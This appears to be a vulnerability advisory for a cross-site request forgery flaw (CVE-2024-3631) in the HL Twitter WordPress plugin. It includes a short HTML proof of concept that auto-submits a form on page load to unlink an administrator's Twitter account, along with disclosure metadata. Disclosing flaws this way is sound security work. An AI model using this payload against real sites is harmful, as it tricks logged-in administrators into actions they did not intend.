HL Twitter <= 2014.1.18 – Unlink Twitter Account via CSRF | CVE 2024-3631 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check when unlinking twitter accounts, which could allow attackers to make logged in admins perform such actions via a CSRF attack

Proof of Concept

Make an admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="http://example.com/wp-admin/admin.php?page=hl_twitter_settings&action=unlink" method="POST">
        <input type="submit" name="submit" value="Unlink" class="button-primary">
    </form>
</body>
```

The Twitter connection will be removed (API tokens reset to `''`)

Affects Plugins

No known fix

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Bob Matyas

Submitter

Bob Matyas

Submitter website

https://www.bobmatyas.com

Submitter twitter

Verified

Yes

WPVDB ID

c59a8b49-6f3e-452b-ba9b-50b80c522ee9

Timeline

Publicly Published

2024-04-24 (about 1 year ago)

Added

2024-04-24 (about 1 year ago)

Last Updated

2024-04-24 (about 1 year ago)

Other

Published

Title

Published

2023-11-14

Title

WP Courses LMS < 3.2.4 - Cross-Site Request Forgery

Published

2025-06-27

Title

WP GDPR Cookie Consent <= 1.0.0 - Cross-Site Request Forgery

Published

2024-04-05

Title

MM-email2image <= 0.2.5 - Stored XSS via CSRF

Published

2023-02-28

Title

OAuth Single Sign On - SSO (OAuth Client) Enterprise < 48.4.9 - IdP Deletion via CSRF

Published

2025-04-04

Title

DirectoryPress < 3.6.23 - Cross-Site Request Forgery